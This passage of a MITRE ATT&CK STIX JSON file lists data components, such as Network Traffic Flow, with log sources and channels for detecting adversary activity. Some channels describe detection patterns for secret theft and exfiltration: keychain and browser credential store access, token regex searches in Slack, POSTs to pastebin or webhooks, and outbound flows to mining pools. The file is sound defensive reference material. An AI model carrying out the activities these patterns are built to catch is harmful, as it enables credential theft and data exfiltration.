                {
                    "name": "macos:unifiedlog",
                    "channel": "Repetitive inbound email delivery activity logged within a short time window"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Application errors or resource contention from excessive frontend or script invocation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "new DHCP configuration with anomalous DNS or router values"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Mail or AppleScript subsystem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Anomalous keychain access attempts targeting payment credentials"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Abnormal terminations of com.apple.security.* or 3rd-party security daemons"
                },
                {
                    "name": "networkdevice:controlplane",
                    "channel": "Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "config push events"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "SIP REGISTER, INVITE, or unusual call destination metadata"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Failed authentication requests redirected to non-standard portals"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "PushNotificationSent"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Failed password or accepted password for SSH users"
                },
                {
                    "name": "saas:Airtable",
                    "channel": "EXPORT: User-triggered data export via GUI or API"
                },
                {
                    "name": "saas:application",
                    "channel": "High-frequency invocation of SMS-related API endpoints from publicly accessible OTP or verification forms (e.g., Twilio: SendMessage, Cognito: AdminCreateUser) with irregular destination patterns."
                },
                {
                    "name": "saas:application",
                    "channel": "High-volume API calls or traffic via messaging or webhook service"
                },
                {
                    "name": "saas:audit",
                    "channel": "Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows"
                },
                {
                    "name": "saas:audit",
                    "channel": "Application added or consent granted: Integration persisting after original user disabled"
                },
                {
                    "name": "saas:box",
                    "channel": "User navigated to admin interface"
                },
                {
                    "name": "saas:collaboration",
                    "channel": "MessagePosted: Suspicious links or attachment delivery via collaboration tools (Slack, Teams, Zoom)"
                },
                {
                    "name": "saas:confluence",
                    "channel": "access.content"
                },
                {
                    "name": "saas:email",
                    "channel": "AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch"
                },
                {
                    "name": "saas:finance",
                    "channel": "Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts"
                },
                {
                    "name": "saas:github",
                    "channel": "Bulk access to multiple files or large volume of repo requests within short time window"
                },
                {
                    "name": "saas:gmail",
                    "channel": "SendEmail, OpenAttachment, ClickLink"
                },
                {
                    "name": "saas:googledrive",
                    "channel": "FileOpen / FileAccess: Event-driven script triggering on user file actions"
                },
                {
                    "name": "saas:googleworkspace",
                    "channel": "OAuth2 authorization grants / Admin role assignments"
                },
                {
                    "name": "saas:hubspot",
                    "channel": "contact_viewed, contact_exported, login"
                },
                {
                    "name": "saas:okta",
                    "channel": "Conditional Access policy rule modified or MFA requirement disabled"
                },
                {
                    "name": "saas:okta",
                    "channel": "MFAChallengeIssued"
                },
                {
                    "name": "saas:okta",
                    "channel": "WebUI access to administrator dashboard"
                },
                {
                    "name": "saas:okta",
                    "channel": "Federation configuration update or signing certificate change"
                },
                {
                    "name": "saas:okta",
                    "channel": "System API Call: user.read, group.read"
                },
                {
                    "name": "saas:okta",
                    "channel": "policy.rule.update;system.log.disable;admin.role.assign"
                },
                {
                    "name": "saas:openai",
                    "channel": "High volume of requests to /v1/chat/completions or /v1/images/generations"
                },
                {
                    "name": "saas:salesforce",
                    "channel": "DataExport, RestAPI, Login, ReportExport"
                },
                {
                    "name": "saas:slack",
                    "channel": "file_upload, message_send, message_click"
                },
                {
                    "name": "saas:slack",
                    "channel": "chat.postMessage, files.upload, or discovery API calls involving token/credential regex"
                },
                {
                    "name": "saas:slack",
                    "channel": "OAuth token use by unknown app client_id accessing private channels or files"
                },
                {
                    "name": "saas:slack",
                    "channel": "conversations.history, files.list, users.info, audit_logs"
                },
                {
                    "name": "saas:slack",
                    "channel": "xternal DM or workspace invite preceding credential or approval actions"
                },
                {
                    "name": "saas:Snowflake",
                    "channel": "QUERY: Large or repeated SELECT * queries to sensitive tables"
                },
                {
                    "name": "saas:teams",
                    "channel": "ChatMessageSent, ChatMessageEdited, LinkClick"
                },
                {
                    "name": "saas:zoom",
                    "channel": "unusual web session tokens and automation patterns during login"
                },
                {
                    "name": "saas:zoom",
                    "channel": "Unexpected contact interaction preceding follow-on admin requests"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Outlook errors loading or processing custom form templates"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Office Add-in load errors, abnormal loading context, or unsigned add-in warnings"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Outlook rule execution failure or abnormal rule execution context"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Exchange Transport Service loads unusual .NET assembly or errors upon transport agent execution"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Outlook logs indicating failure to load or render HTML page in Home Page view"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "EventCode=1000"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "SCCM, Intune logs"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "VPN, Citrix, or remote access gateway logs showing external IP addresses"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Outlook rule creation, form load, or homepage redirection"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Exchange logs or header artifacts"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=6416"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=1102"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "Changes to applicationhost.config or DLLs loaded by w3wp.exe"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "Device started/installed (UMDF) GUIDs"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=1000"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=104"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=1341, 1342, 1020, 1063"
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            ]
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            "description": "The successful establishment of a new user session following a successful authentication attempt. This typically signifies that a user has provided valid credentials or authentication tokens, and the system has initiated a session associated with that user account. This data is crucial for tracking authentication events and identifying potential unauthorized access. Examples: \n\n- Windows Systems\n    - Event ID: 4624\n        - Logon Type: 2 (Interactive) or 10 (Remote Interactive via RDP).\n        - Account Name: JohnDoe\n        - Source Network Address: 192.168.1.100\n        - Authentication Package: NTLM\n- Linux Systems\n    - /var/log/utmp or /var/log/wtmp:\n        - Log format: login user [tty] from [source_ip]\n        - User: jane\n        - IP: 10.0.0.5\n        - Timestamp: 2024-12-28 08:30:00\n- macOS Systems\n    - /var/log/asl.log or unified logging framework:\n        - Log: com.apple.securityd: Authentication succeeded for user 'admin'\n- Cloud Environments\n    - Azure Sign-In Logs:\n        - Activity: Sign-in successful\n        - Client App: Browser\n        - Location: Unknown (Country: X)\n- Google Workspace\n    - Activity: Login\n        - Event Type: successful_login\n        - Source IP: 203.0.113.55",
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                    "name": "macos:unifiedlog",
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                {
                    "name": "AWS:CloudTrail",
                    "channel": "ConsoleLogin, AssumeRole, ListResources"
                },
                {
                    "name": "azure:signin",
                    "channel": "UserLoginSuccess, TokenIssued"
                },
                {
                    "name": "Okta:SystemLog",
                    "channel": "user.authentication.sso, app.oauth.grant"
                },
                {
                    "name": "m365:signinlogs",
                    "channel": "SignInSuccess, RoleAssignmentRead"
                },
                {
                    "name": "m365:unified",
                    "channel": "UserLoggedIn"
                },
                {
                    "name": "gcp:audit",
                    "channel": "LoginAudit, DriveAudit"
                },
                {
                    "name": "saas:auth",
                    "channel": "LoginSuccess, APIKeyUse, AdminAction"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Abnormal sign-in from scripting tools (PowerShell, AADInternals)"
                },
                {
                    "name": "azure:signinlogs",
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                {
                    "name": "azure:signinlogs",
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                {
                    "name": "AWS:CloudTrail",
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                    "name": "NSM:Connections",
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                {
                    "name": "macos:unifiedlog",
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                {
                    "name": "CloudTrail:Signin",
                    "channel": "SAML login without corresponding IdP authentication log"
                },
                {
                    "name": "m365:sharepoint",
                    "channel": "File access with forged or anomalous SAML claims"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Web console logins using session cookies without corresponding MFA event"
                },
                {
                    "name": "saas:access",
                    "channel": "Multiple concurrent logins using same cookie from different locations"
                },
                {
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                },
                {
                    "name": "macos:unifiedlog",
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                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect"
                },
                {
                    "name": "azure:signin",
                    "channel": "Microsoft.Compute/virtualMachines/serialConsole/connect/action"
                },
                {
                    "name": "gcp:audit",
                    "channel": "cloud.ssh.publicKey.inserted, compute.instances.osLogin"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Missing new login event but session activity continues"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Session reuse without new auth event"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Temporary security credentials used to authenticate into management console or APIs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Access to Keychain items or browser credential stores"
                },
                {
                    "name": "m365:signinlogs",
                    "channel": "Token usage events with device/user mismatch"
                },
                {
                    "name": "saas:github",
                    "channel": "Login from unusual IP, device fingerprint, or location; access token creation from new client"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sshd: Accepted password/publickey"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AWS ConsoleLogin, StartSession"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "vim.fault.*, DCUI login, SSH shell"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "GetConsoleOutput"
                },
                {
                    "name": "saas:okta",
                    "channel": "user.session.start"
                },
                {
                    "name": "m365:unified",
                    "channel": "ViewAdminReport"
                },
                {
                    "name": "saas:zoom",
                    "channel": "Zoom Admin Dashboard accessed from unfamiliar IP/device"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "Anomalous logon without MFA enforcement"
                },
                {
                    "name": "networkdevice:Firewall",
                    "channel": "Login from untrusted IP, or new admin account accessing firewall console/API"
                },
                {
                    "name": "linux:syslog",
                    "channel": "authentication success after file access"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Keychain or user login post-access"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "sudden role assumption after credential file access"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Accepted publickey for user from unusual IP or without tty"
                },
                {
                    "name": "saas:confluence",
                    "channel": "logon"
                },
                {
                    "name": "linux:syslog",
                    "channel": "auth.log / secure.log"
                },
                {
                    "name": "esxi:auth",
                    "channel": "Shell login or escalation"
                },
                {
                    "name": "linux:auth",
                    "channel": "User login event followed by unexpected process tree"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges"
                },
                {
                    "name": "m365:signinlogs",
                    "channel": "UserLogin: Discovery operations shortly after account logins from new geolocations"
                },
                {
                    "name": "saas:auth",
                    "channel": "Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens"
                },
                {
                    "name": "NSM:Connections",
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                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "authentication plugin load or modification events"
                },
                {
                    "name": "azure:ad",
                    "channel": "SignInEvents"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Accepted publickey/password for * from * port * ssh2"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or sshd successful login events"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "InteractiveUser, ServicePrincipalSignIn"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity"
                },
                {
                    "name": "azure:signinlogs",
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                },
                {
                    "name": "azure:signinlogs",
                    "channel": "UserLogin, ConditionalAccessPolicyEvaluated"
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                {
                    "name": "saas:okta",
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                {
                    "name": "auditd:SYSCALL",
                    "channel": "capset or setns"
                },
                {
                    "name": "gcp:audit",
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                },
                {
                    "name": "m365:signinlogs",
                    "channel": "UserLoggedIn"
                },
                {
                    "name": "WinEventLog:Security",
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                {
                    "name": "linux:syslog",
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                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"python\"'"
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                {
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                {
                    "name": "WinEventLog:System",
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                },
                {
                    "name": "networkdevice:runtime",
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                {
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                {
                    "name": "EDR:scriptblock",
                    "channel": "Process Tree + Script Block Logging"
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                },
                {
                    "name": "m365:defender",
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                },
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                    "name": "etw:Microsoft-Antimalware-Scan-Interface",
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                    "name": "esxi:shell",
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                },
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                },
                {
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                },
                {
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                },
                {
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                },
                {
                    "name": "docker:daemon",
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                },
                {
                    "name": "kubernetes:audit",
                    "channel": "create: Pod/Container created with image tag 'latest' or mutable tag; imagePullPolicy=Always; noDigest=true"
                },
                {
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                },
                {
                    "name": "docker:events",
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                {
                    "name": "containerd:events",
                    "channel": "create"
                },
                {
                    "name": "docker:events",
                    "channel": "docker run with restart=always or modifying init"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
            "created": "2021-10-20T15:05:19.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0078",
                    "external_id": "DC0078"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.777Z",
            "name": "Network Traffic Flow",
            "description": "Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads. This is commonly used for traffic analysis, anomaly detection, and network performance monitoring.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "name": "macos:osquery",
                    "channel": "socket_events"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected flows between segmented networks or prohibited ports"
                },
                {
                    "name": "snmp:config",
                    "channel": "Configuration change traps or policy enforcement failures"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time outbound connections to package registries or unknown hosts immediately after restore/build"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time egress to new registries/CDNs post-install/build"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time egress to non-approved registries after dependency install"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large outbound data flows or long-duration connections"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "egress > 90th percentile or frequent connection reuse"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "esxcli network vswitch or DNS resolver configuration updates"
                },
                {
                    "name": "esxi:vobd",
                    "channel": "Network Events"
                },
                {
                    "name": "iptables:LOG",
                    "channel": "TCP connections"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "connection metadata"
                },
                {
                    "name": "wineventlog:dhcp",
                    "channel": "DHCP Lease Granted"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "LEASE_GRANTED"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "MAC not in allow-list acquiring IP (DHCP)"
                },
                {
                    "name": "Windows Firewall Log",
                    "channel": "SMB over high port"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Internal connection logging"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "pf firewall logs"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "/var/log/vmkernel.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Inter-segment traffic"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "None"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Long-lived or hijacked SSH sessions maintained with no active user activity"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "VPC/NSG flow logs for pod/instance egress to Internet or metadata"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Suspicious outbound traffic from browser binary to non-standard domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Abnormal browser traffic volume or destination"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound requests to domains not previously resolved or associated with phishing campaigns"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click"
                },
                {
                    "name": "M365Defender:DeviceNetworkEvents",
                    "channel": "NetworkConnection: bytes_sent >> bytes_received anomaly"
                },
                {
                    "name": "PF:Logs",
                    "channel": "outbound flows with bytes_out >> bytes_in"
                },
                {
                    "name": "NSX:FlowLogs",
                    "channel": "network_flow: bytes_out >> bytes_in to external"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "NetFlow/Zeek conn.log"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Outbound data flows"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Flow records with entropy signatures resembling symmetric encryption"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "flow records"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "flow records"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "HTTPS POST to known webhook URLs"
                },
                {
                    "name": "saas:api",
                    "channel": "Webhook registrations or repeated POST activity"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Source/destination IP translation inconsistent with intended policy"
                },
                {
                    "name": "SNMP:DeviceLogs",
                    "channel": "Unexpected NAT translation statistics or rule insertion events"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Sudden spike in incoming flows to web service ports from single/multiple IPs"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Unusual volume of inbound packets from single source across short time interval"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "port 5900 inbound"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TCP port 5900 open"
                },
                {
                    "name": "NSM:firewall",
                    "channel": "inbound connection to port 5900"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "Outbound connections to 139/445 to multiple destinations"
                },
                {
                    "name": "VPCFlowLogs:All",
                    "channel": "High volume internal traffic with low entropy indicating looped or malicious DoS script"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "NetFlow/sFlow/PCAP"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound Network Flow"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.network"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Device-to-Device Deployment Flows"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect syscalls"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "outbound TCP/UDP traffic over unexpected port"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "ESXi service connections on unexpected ports"
                },
                {
                    "name": "iptables:LOG",
                    "channel": "OUTBOUND"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "tcp/udp"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "CLI network calls"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic from suspicious new processes post-attachment execution"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Suspicious anomalies in transmitted data integrity during application network operations"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "DNS resolution events leading to outbound traffic on unexpected ports"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic to mining pools or proxies"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Outbound flow logs to known mining pools"
                },
                {
                    "name": "container:cni",
                    "channel": "Outbound network traffic to mining proxies"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "TLS session established by ESXi service to unapproved endpoint"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Session records with TLS-like byte patterns"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "HTTPS POST requests to pastebin.com or similar"
                },
                {
                    "name": "NetFlow:Flow",
                    "channel": "new outbound connections from exploited process tree"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "new connections from exploited lineage"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Unexpected route changes or duplicate gateway advertisements"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall",
                    "channel": "EventCode=2004, 2005, 2006"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Knock pattern: repeated REJ/S0 across \u2265MinSequenceLen ports from same src_ip then SF success."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Firewall/PF anchor load or rule change events."
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes."
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time egress to non-approved update hosts right after install/update"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New outbound flows to non-approved vendor hosts post install"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New/rare egress to non-approved update hosts after install"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large outbound HTTPS uploads to repo domains"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "HTTPS traffic to repository domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "alert log"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "None"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound flow records"
                },
                {
                    "name": "m365:defender",
                    "channel": "NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch"
                },
                {
                    "name": "PF:Logs",
                    "channel": "high out:in ratio or fixed-size periodic flows"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "connect or sendto system call with burst pattern"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "sudden burst in outgoing packets from same PID"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "source instance sends large volume of traffic in short window"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "session stats with bytes_out > bytes_in"
                },
                {
                    "name": "NIDS:Flow",
                    "channel": "session stats with bytes_out > bytes_in"
                },
                {
                    "name": "esxi:vpxa",
                    "channel": "connection attempts and data transmission logs"
                },
                {
                    "name": "PF:Logs",
                    "channel": "External traffic to remote access services"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "High volumes of SYN/ACK packets with unacknowledged TCP handshakes"
                },
                {
                    "name": "dns:query",
                    "channel": "Outbound resolution to hidden service domains (e.g., `.onion`)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log + ssl.log with Tor fingerprinting"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "forwarded encrypted traffic"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Relayed session pathing (multi-hop)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound TCP SYN or UDP to multiple ports/hosts"
                },
                {
                    "name": "containerd:runtime",
                    "channel": "container-level outbound traffic events"
                },
                {
                    "name": "WLANLogs:Association",
                    "channel": "Multiple APs advertising the same SSID but with different BSSID/MAC or encryption type"
                },
                {
                    "name": "linux:osquery",
                    "channel": "socket_events"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "ARP cache modification attempts observed through event tracing or security baselines"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Gratuitous ARP replies with mismatched IP-MAC binding"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "networkd or com.apple.network"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream 'eventMessage contains \"dns_request\"'"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "/var/log/syslog.log"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateTrafficMirrorSession or ModifyTrafficMirrorTarget"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Config change: CLI/NETCONF/SNMP \u2013 'monitor session', 'mirror port'"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound UDP floods targeting common reflection services with spoofed IP headers"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Outbound UDP spikes to external reflector IPs"
                },
                {
                    "name": "AWS:VPCFlowLogs",
                    "channel": "Large outbound UDP traffic to multiple public reflector IPs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "High entropy domain queries with multiple NXDOMAINs"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results"
                },
                {
                    "name": "vpxd.log",
                    "channel": "API communication"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Outbound Connection"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Connection Tracking"
                },
                {
                    "name": "NSM:Firewall",
                    "channel": "pf firewall logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Flow Creation (NetFlow/sFlow)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log, icmp.log"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Abnormal SMB authentication attempts correlated with poisoned LLMNR/NBT-NS sessions"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers"
                },
                {
                    "name": "NSM:Connections",
                    "channel": "Inbound on ports 5985/5986"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Multiple IP addresses assigned to the same domain in rapid sequence"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Rapid domain-to-IP resolution changes for same domain"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "Frequent DNS resolution of same domain with rotating IPs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "uncommon ports"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "alternate ports"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "None"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "conn.log or flow data"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "egress log analysis"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "egress logs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "High volume flows with incomplete TCP sessions or single-packet bursts"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Knock pattern: multiple REJ/S0 to distinct closed ports then successful connection to service_port"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Firewall rule enable/disable or listen socket changes"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Config/ACL/line vty changes, service enable (telnet/ssh/http(s)), module reloads"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ioctl: Changes to wireless network interfaces (up, down, reassociate)"
                },
                {
                    "name": "macos:osquery",
                    "channel": "query: Historical list of associated SSIDs compared against baseline"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time egress from host after new install to unknown update endpoints"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "First-time egress to unknown registries/mirrors immediately after install"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "New egress from app just installed to unknown update endpoints"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "ESXi processes relaying traffic via SSH or unexpected ports"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound connection to mining pool port (3333, 4444, 5555)"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound traffic to mining pool upon container launch"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Flow records with RSA key exchange on unexpected port"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Outbound connections from web server binaries (apache2, nginx, php-fpm) to unknown external IPs"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "sustained outbound HTTPS sessions with high data volume"
                },
                {
                    "name": "NSM:Flow",
